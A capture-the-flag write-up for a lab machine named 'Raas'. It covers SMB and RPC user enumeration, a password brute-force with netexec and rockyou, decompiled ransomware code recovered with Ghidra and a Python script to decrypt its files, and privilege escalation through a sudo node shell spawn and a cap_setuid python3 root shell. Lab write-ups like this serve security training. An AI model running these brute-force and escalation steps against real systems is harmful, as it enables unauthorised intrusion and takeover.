Raas
export TARGET_IP=target_ip_address
sudo nmap -p0- $TARGET_IP
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
The scan revealed open ports associated with SSH (22/TCP) and SMB (139/TCP, 445/TCP). The presence of ports 139 and 445 suggests the system is likely configured for file and/or printer sharing.
SMB Enumeration
Share Enumeration with smbclient
The smbclient
tool was utilized to attempt a connection with a null session (no authentication) to list available shares:
smbclient -L //$TARGET_IP -N
Results:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
ransomware Disk
IPC$ IPC IPC Service (dockerlabs server (Samba, Ubuntu))
Three shares were discovered:
- print$: A common share for printer drivers.
- ransomware: A disk share with an intriguing name, potentially indicating a honeypot or a specific testing environment, but could be worth investigating later.
- IPC$: The Inter-Process Communication share, typically used for remote administration and not usually accessible with a null session.
Attempting Access to Shares
An attempt was made to connect to the IPC$
share using smbclient
:
smbclient //$TARGET_IP/IPC$ -N
Results:
smb: \> ls
NT_STATUS_CONNECTION_REFUSED listing \*
User Enumeration with rpcclient
The rpcclient
tool was employed to query the Remote Procedure Call (RPC) service and attempt user enumeration:
rpcclient -U "" -N $TARGET_IP
Results:
rpcclient $> enumdomusers
user:[patricio] rid:[0x3e8]
user:[calamardo] rid:[0x3ea]
user:[bob] rid:[0x3e9]
Brute-Force Attack (netexec
)
First, create a text file containing the usernames you enumerated, one user per line:
patricio
calamardo
bob
You'll need a password list. You can start with a small, commonly used password list for testing or use a larger one like rockyou.txt
.
netexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
Results:
...
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\patricio:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\calamardo:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [-] DOCKERLABS\bob:pretty STATUS_LOGON_FAILURE
SMB 172.17.0.2 445 DOCKERLABS [+] DOCKERLABS\patricio:basketball
The brute-force attack was successful! Valid credentials were discovered for the user patricio
:
- Username:
patricio
- Password:
basketball
Further Enumeration
smbmap -u 'patricio' -p 'basketball' -H 172.17.0.2
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
ransomware READ ONLY
IPC$ NO ACCESS IPC Service (dockerlabs server (Samba, Ubuntu))
smbclient //172.17.0.2/ransomware -U 'patricio%basketball'
smb: \> ls
. D 0 Sun Jan 5 16:14:21 2025
.. D 0 Sun Jan 5 16:14:21 2025
nota.txt N 379 Sun Jan 5 11:28:19 2025
private.txt N 48 Sun Jan 5 11:27:26 2025
pokemongo N 17592 Sat Jan 4 12:25:18 2025
smb: \> recurse ON # This tells `smbclient` to operate recursively on directories.
smb: \> prompt OFF #This tells `smbclient` to not ask for confirmation to get each file.
smb: \> mget * # download multiple files
Analysis of Files:
-
nota.txt
: This file provides context and hints:- Patricio attempted to decrypt files affected by ransomware that Bob ran.
- Patricio is sharing the ransomware binary (
pokemongo
) with Calamardo for help. - The most urgent file to decrypt is
private.txt
.
-
private.txt
: This file is likely encrypted by the ransomware, as indicated by the garbled content.W�R����V<$¶~�hH"~�g��v��,T�^���(����uh�
-
pokemongo
: This is the ransomware binary itself, identified as a 64-bit ELF executable.file pokemongo
> pokemongo: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f1b5eb6016808f7847871479cf0e8898f32f67a, for GNU/Linux 3.2.0, not stripped
Reverse Engineering with Ghidra
undefined8 main(void)
{
int iVar1;
undefined8 local_438;
undefined8 local_430;
undefined local_428 [32];
char local_408 [1024];
gethostname(local_408,0x400);
iVar1 = strcmp(local_408,"dockerlabs");
if (iVar1 == 0) {
iVar1 = file_exists("/opt/ak.pk1");
if ((iVar1 != 0) && (iVar1 = file_exists("/bin/12bn"), iVar1 != 0)) {
recon(local_428);
local_438 = 0x3837363534333231;
local_430 = 0x3635343332313039;
encrypt_files_in_directory("/home/",local_428,&local_438);
return 0;
}
puts("Ten cuidado con lo que ejecutas!");
}
else {
puts("Ten cuidado con lo que ejecutas!");
}
return 1;
}
void recon(undefined4 *param_1)
{
size_t sVar1;
*param_1 = 0x70713079;
*(undefined *)(param_1 + 1) = 0;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x62786a66;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 100;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x34303937;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x37;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x65393239;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x77;
sVar1 = strlen((char *)param_1);
*(undefined8 *)((long)param_1 + sVar1) = 0x66336461716d6f30;
*(undefined *)((undefined8 *)((long)param_1 + sVar1) + 1) = 0;
sVar1 = strlen((char *)param_1);
*(undefined4 *)((long)param_1 + sVar1) = 0x63736734;
*(undefined2 *)((undefined4 *)((long)param_1 + sVar1) + 1) = 0x6c;
return;
}
void encrypt_files_in_directory(char *param_1,undefined8 param_2,undefined8 param_3)
{
int iVar1;
int extraout_EAX;
stat local_4d8;
char local_448 [1036];
int local_3c;
void *local_38;
char *local_30;
size_t local_28;
FILE *local_20;
dirent *local_18;
DIR *local_10;
local_10 = opendir(param_1);
if (local_10 == (DIR *)0x0) {
perror("opendir");
}
else {
while( true ) {
local_18 = readdir(local_10);
if (local_18 == (dirent *)0x0) break;
snprintf(local_448,0x400,"%s/%s",param_1,local_18->d_name);
iVar1 = stat(local_448,&local_4d8);
if (iVar1 == 0) {
if ((local_4d8.st_mode & 0xf000) == 0x8000) {
local_20 = fopen(local_448,"r+b");
if (local_20 == (FILE *)0x0) {
perror("fopen");
}
else {
fseek(local_20,0,2);
local_28 = ftell(local_20);
fseek(local_20,0,0);
local_30 = (char *)malloc(local_28);
local_38 = malloc(local_28 + 0x10);
if ((local_30 == (char *)0x0) || (local_38 == (void *)0x0)) {
perror("malloc");
fclose(local_20);
}
else {
fread(local_30,1,local_28,local_20);
encrypt(local_30,(int)local_28);
local_3c = extraout_EAX;
fseek(local_20,0,0);
fwrite(local_38,1,(long)local_3c,local_20);
free(local_30);
free(local_38);
fclose(local_20);
printf("Encriptado: %s\n",local_448);
}
}
}
else if ((local_4d8.st_mode & 0xf000) == 0x4000) {
iVar1 = strcmp(local_18->d_name,".");
if (iVar1 != 0) {
iVar1 = strcmp(local_18->d_name,"..");
if (iVar1 != 0) {
encrypt_files_in_directory(local_448,param_2,param_3);
}
}
}
}
}
closedir(local_10);
}
return;
}
void encrypt(char *__block,int __edflag)
{
int iVar1;
EVP_CIPHER *cipher;
uchar *in_RCX;
uchar *in_RDX;
uchar *in_R8;
int local_18;
int local_14;
EVP_CIPHER_CTX *local_10;
local_10 = EVP_CIPHER_CTX_new();
if (local_10 == (EVP_CIPHER_CTX *)0x0) {
handleErrors();
}
cipher = EVP_aes_256_cbc();
iVar1 = EVP_EncryptInit_ex(local_10,cipher,(ENGINE *)0x0,in_RDX,in_RCX);
if (iVar1 != 1) {
handleErrors();
}
iVar1 = EVP_EncryptUpdate(local_10,in_R8,&local_18,(uchar *)__block,__edflag);
if (iVar1 != 1) {
handleErrors();
}
local_14 = local_18;
iVar1 = EVP_EncryptFinal_ex(local_10,in_R8 + local_18,&local_18);
if (iVar1 != 1) {
handleErrors();
}
local_14 = local_14 + local_18;
EVP_CIPHER_CTX_free(local_10);
return;
}
- The goal of this analysis is to reverse-engineer a ransomware binary (
pokemongo
) to recover encrypted files. - (Spoiler) The binary uses
AES-256-CBC
for encryption, requiring a 32-bytekey
and a 16-byteIV
. - The ransomware binary uses an x86-64 architecture, which stores multi-byte data in little-endian format. In this format:
- The least significant byte is stored first in memory.
- Example: The integer
0x12345678
in little-endian appears as78 56 34 12
in memory. - For strings, "car" ('c' =
0x63
, 'a' =0x61
, 'r' =0x72
) is stored as0x72 0x61 0x63
or "rac".
Understanding this is crucial, as it affects how we interpret values extracted from the binary.
Understanding the Ransomware
-
Targeted Attack: The
main
function checks for specific conditions before executing the core encryption logic. These are:- The hostname must be "dockerlabs".
- The files
/opt/ak.pk1
and/bin/12bn
must exist.
This suggests a targeted attack, possibly customized for a particular environment or lab setup.
-
Key and IV Extraction:
-
Initialization Vector (IV): The variables
local_438
andlocal_430
are assigned hexadecimal values inmain
. Concatenating and reversing these values (due to little-endian representation) yields1234567890123456
, which is a 16-byte (128-bit) value, aligning with the required size for an AES IV. -
Encryption Key: The
recon
function builds a string piece by piece. Reversing the order of these pieces results in the 32-byte (256-bit) string:l 4gsc f3daqmo0 w e929 40977 d fjxb y0qp
. This fits the requirement for an AES-256 key.
-
-
Encryption Process (encrypt_files_in_directory):
- Recursive Directory Traversal: The function recursively traverses the directory structure starting from
/home/
. - File Filtering: It only encrypts regular files (not directories or special files) and skips the current (
.
) and parent (..
) directory entries. - File Handling: For each file:
- It opens the file in read and write binary mode (
r+b
). - Reads the entire file content into memory.
- Calls the
encrypt
function to perform the encryption. - Overwrites the original file with the encrypted data.
- Prints "Encriptado: [filename]" to the console.
- It opens the file in read and write binary mode (
- Recursive Directory Traversal: The function recursively traverses the directory structure starting from
-
Encryption Details (encrypt):
- AES-256-CBC: The
EVP_aes_256_cbc()
function indicates that the encryption algorithm used is AES-256 in CBC (Cipher Block Chaining) mode. - OpenSSL EVP: The code uses the OpenSSL's EVP (Envelope) interface for encryption, which is a high-level API for cryptographic operations.
- Key and IV Usage: The
EVP_EncryptInit_ex
function initializes the encryption context with the key and IV. - Encryption Steps:
EVP_EncryptUpdate
encrypts the main portion of the data.EVP_EncryptFinal_ex
handles any remaining data and padding.
- AES-256-CBC: The
Little-Endian Explained
Little-endian is a byte ordering system where the least significant byte of a multi-byte data type (like an integer or a pointer) is stored at the lowest memory address.
Example:
Let's consider the 4-byte (32-bit) hexadecimal number 0xA1B2C3D4
.
-
Memory Address: Assume this number is stored starting at memory address
0x1000
. -
Little-Endian: In little-endian format, the bytes would be stored as follows:
Memory Address Byte Value 0x1000
D4
0x1001
C3
0x1002
B2
0x1003
A1
Notice that the least significant byte (
D4
) is stored at the lowest address (0x1000
), and the most significant byte (A1
) is at the highest address (0x1003
).
Impact on Strings and Reversing:
When a string is represented as an array of characters (bytes), the little-endian order will be reversed if you are reading these bytes from the lowest to the highest address, like the binary or a debugger do.
For instance, the string "ABC" with ASCII values A=65=0x41
, B=66=0x42
, C=67=0x43
is stored in memory as:
Memory Address | Byte Value |
---|---|
0x2000 | 43 |
0x2001 | 42 |
0x2002 | 41 |
Here, the byte for 'C' (0x43) is stored first (at 0x2000), followed by 'B' (0x42 at 0x2001), and then 'A' (0x41 at 0x2002). If you read from lower to higher addresses, you will get the string in reversed order.
This is why, in the recon
function, when you're reconstructing the key from individual pieces stored in little-endian format, you need to reverse the order to get the correct key. The same for when obtaining the Initialization Vector.
Python Decryption Script
python3 -m venv venv
source venv/bin/activate
pip install pycryptodome
python3 decrypt.py
cat decrypted_file.bin
> las credenciales ssh son: bob:56000nmqpL
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# Define the key and IV (Initialization Vector)
KEY = b'y0qpfjxbd79047929ew0omqad3f4gscl'
IV = b'1234567890123456'
# File paths
INPUT_FILE = 'private.txt'
OUTPUT_FILE = 'decrypted_file.bin'
def decrypt_file(input_path, output_path, key, iv):
"""
Decrypts an AES-256-CBC encrypted file.
Args:
input_path (str): Path to the encrypted file.
output_path (str): Path to save the decrypted file.
key (bytes): 32-byte encryption key.
iv (bytes): 16-byte initialization vector.
Returns:
None
"""
try:
# Read the encrypted data
with open(input_path, 'rb') as encrypted_file:
encrypted_data = encrypted_file.read()
print(f"Encrypted data read ({len(encrypted_data)} bytes).")
# Create the AES cipher
cipher = AES.new(key, AES.MODE_CBC, iv)
# Decrypt the data and remove padding
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
# Write the decrypted data to the output file
with open(output_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
print("Decryption completed successfully. Decrypted data saved to:", output_path)
except ValueError as error:
print(f"Decryption error: {error}")
except FileNotFoundError:
print(f"Error: File not found at '{input_path}'.")
except Exception as e:
print(f"An unexpected error occurred: {e}")
if __name__ == "__main__":
# Call the decrypt function
decrypt_file(INPUT_FILE, OUTPUT_FILE, KEY, IV)
Privilege Escalation
After successfully gaining initial access as the user bob
with the credentials obtained from decrypting private.txt
, our next goal is to elevate privileges to gain higher levels of access within the system, ultimately aiming for root (administrator) privileges.
Step 1: Enumerating Sudo Permissions
The first step in privilege escalation is often to check what commands the current user can run with elevated privileges using sudo
.
ssh bob@$TARGET_IP
sudo -l
Output:
Matching Defaults entries for bob on dockerlabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bob may run the following commands on dockerlabs:
(calamardo) NOPASSWD: /bin/node
Explanation:
sudo -l
lists the allowed (and forbidden) commands for the invoking user (in this case,bob
) on the current host.- The output shows that
bob
can run/bin/node
as the usercalamardo
without needing a password (NOPASSWD
). This is a significant misconfiguration that we can exploit.
Step 2: Exploiting Node.js for Privilege Escalation (calamardo)
Leveraging GTFOBins:
Looking up node
on GTFOBins (https://gtfobins.github.io/) reveals that if it can be run with sudo
, it can be used to spawn a shell with the privileges of the target user.
Exploitation:
We use the following command to spawn a bash shell as calamardo
:
sudo -u calamardo /bin/node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
Explanation:
sudo -u calamardo
: Executes the command as the usercalamardo
./bin/node
: The path to the Node.js binary.-e
: This flag tells Node.js to evaluate the following string as JavaScript code.require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
: This is the Node.js code that does the following:require("child_process")
: Loads thechild_process
module, which allows spawning new processes..spawn("/bin/bash", {stdio: [0, 1, 2]})
: Spawns a new process, executing/bin/bash
(a shell).{stdio: [0, 1, 2]}
: This is crucial. It connects the standard input (0), standard output (1), and standard error (2) of the spawned shell to the current terminal. This allows us to interact with the shell.
We are now operating as the user calamardo
!
Step 3: Finding Further Credentials (patricio)
Now, while operating as calamardo
, we explore the user's home directory and files for any clues or misconfigurations.
Discovery:
While examining calamardo
's .bashrc
file, we find a comment containing what appears to be credentials:
# Credentials for Patricio: Jap0n16ydcbd***
Explanation:
.bashrc
is a shell script that Bash runs whenever it is started interactively. It's often used to set up user-specific configurations.- Storing credentials in a plain text comment within a configuration file is a severe security oversight.
Step 4: Escalating to Patricio
With the newly found credentials, we can attempt to log in as patricio
:
ssh patricio@$TARGET_IP
We are now logged in as patricio
!
Step 5: Enumerating Capabilities - Python3
After gaining access as patricio
, the next logical step is to assess potential privilege escalation paths. One valuable technique is to examine file capabilities.
Understanding Capabilities:
Capabilities are a more granular way of managing privileges in Linux than the traditional "all or nothing" approach of root. They allow specific elevated privileges to be assigned to individual executables.
Enumeration:
The getcap
command is used to check for capabilities set on files. We use it to inspect patricio
's home directory.
getcap .ssh/python3
Output:
.ssh/python3 cap_setuid=ep
Explanation:
getcap
: This command displays the capabilities set on a file..ssh/python3
: This is the file we're checking. It seemspatricio
has a custom Python installation within their.ssh
directory. This is unusual and warrants closer inspection.cap_setuid=ep
: This is the crucial part.cap_setuid
: This capability allows a process to change its user ID (UID). This effectively enables it to become another user, including root (UID 0).ep
:e
(effective): The capability is in the effective set, meaning the process can use it immediately.p
(permitted): The capability is in the permitted set, meaning the process can add it to its effective set.
Significance:
The cap_setuid
capability on a Python executable within a user's home directory is a major security vulnerability. It essentially allows that user (patricio
in this case) to become root.
Step 6: Exploiting Capabilities for Root Access
Leveraging GTFOBins (Again):
GTFOBins has an entry for Python that describes how to exploit the cap_setuid
capability.
Exploitation:
We execute the following command:
.ssh/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Explanation:
.ssh/python3
: We run the Python interpreter that has thecap_setuid
capability.-c
: This flag tells Python to execute the following string as a Python script.import os
: Imports theos
module, which provides functions for interacting with the operating system.os.setuid(0)
: This is the core of the exploit. It uses thesetuid()
function from theos
module to set the user ID to 0, which is the UID of the root user. Because the Python binary has thecap_setuid
capability, it's permitted to do this.os.system("/bin/sh")
: This executes the/bin/sh
shell. Since the process is now running as root (UID 0), this spawns a root shell.
Step 7: Full Root Privilege Escalation
passwd root
Explanation:
We've achieved a partial root shell, meaning we are currently acting as the root user but might not have a fully initialized root environment. The prompt likely indicates we are root (#
).
To ensure complete and persistent root access, we use the passwd
command to set a new password for the root account. This step is not always strictly necessary but is good practice to guarantee full control.
passwd root
: This command changes the password for theroot
user.
Verification:
After setting the root password, it's good practice to exit the current shell and then try logging in directly as root using su
or ssh
to ensure you have full root privileges:
exit
su root
Enter the new root password you just set. If successful, you will have a root shell, confirming complete privilege escalation.